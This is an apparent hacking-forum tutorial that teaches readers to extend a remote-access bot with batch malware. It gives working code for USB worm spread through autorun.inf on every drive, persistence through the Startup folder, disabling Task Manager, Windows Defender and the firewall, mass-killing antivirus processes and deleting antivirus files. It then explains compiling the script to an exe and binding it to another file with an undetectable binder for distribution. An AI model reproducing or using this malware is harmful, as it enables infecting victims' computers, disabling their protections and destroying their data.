Using Batch Commands To Improve Spreading... Or Improving Your Bot
We will be adding USB spread, as well as killing taskmanager, antivirus, and other stuff that prevents infections
PiLoT's Batch Spreading 101
Items You Will Need
[X]A Binder (Preferrably FUD Binder)
[X]Notepad or some sort of word processing
[X]"Batch To Exe" Converter (Link will be provided during further step)
[X](Optional) A batch file maker such as "In Shadow Batch Virus Maker" Link:
In Shadow Batch Virus Gen 5.0 --CLICK HERE TO DOWNLOAD--]
~I did not create the program, i am just using it in my tutorial.
Step 1
1. Get your bot on your desktop so you have some workspace, like so.
[img]http://img704.imageshack.us/img704/1540/ratex.png[/img]
2. Open up wordpad/notepad, or your "Batch Virus Maker"
Step 2, Adding usb spread
1. If you are using notepad/wordpad just copy the following codes into text as i display them below, if not, well its self explanatory then.
For Batch Virus Makers...
[img]http://img219.imageshack.us/img219/2958/usbsex.png[/img]
For Notepadders/Wordpadders...
Usb Spread
Code
::-----Infect All Drives-----::
for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
copy /Y %0 %%E:\
echo [AutoRun] > %%E:\autorun.inf
echo open="%%E:\%0" >> %%E:\autorun.inf
echo action=Open folder to see files... >> %%E:\autorun.inf)
::---------------------------::
Code
::------Copy To Startup------::
copy %0 "%userprofile%\Start Menu\Programs\Startup"
::---------------------------::
1. If you are using Batch virus makers is self explanitory, click the buttons.
2. For notepadders/wordpadders follow closely and copy and paste the codes into text
For Batch virus makers...
[img]http://img651.imageshack.us/img651/3195/killingex.png[/img]
For Wordpadders/Notepadders...
Killing Taskmanager
Code
::----Disable Taskmanager----::
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
::---------------------------::
Code
::--Disable Windows Defender-::
net stop "WinDefend"
taskkill /f /t /im "MSASCui.exe"
::---------------------------::
Code
::-------AV Kill [UD]--------::
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
::---------------------------::
1. If your using Notepad/Wordpad, after you have finished your code make sure there is a space (Press Enter) between each sepperate code. Then save it as a bat, if you do not know how then look at the following...
[img]http://img94.imageshack.us/img94/8417/savingex.png[/img]
2. On Batch Virus Creators, just find the button that says "Save as Bat"
Step 5, Binding The File
1. Now obviously we all know that you can not bind a bat, RIGHT? So we will need the "Batch To Exe" Converter. Download:
Click Here For "Batch To Exe Converter"
2. Open that program, no installations.
3. Do not touch settings
[img]http://img18.imageshack.us/img18/2944/btecex.png[/img]
4. Click compile!
Step 6, Your Set
1. Open up whatever binder you have or use and bind the 2 files!
2. Comment on this thread to keep it up so that everybody gets to see this.
3. Go spreading and remember the name PiLoT
4. Let me know if you didnt understand something or if i missed something!
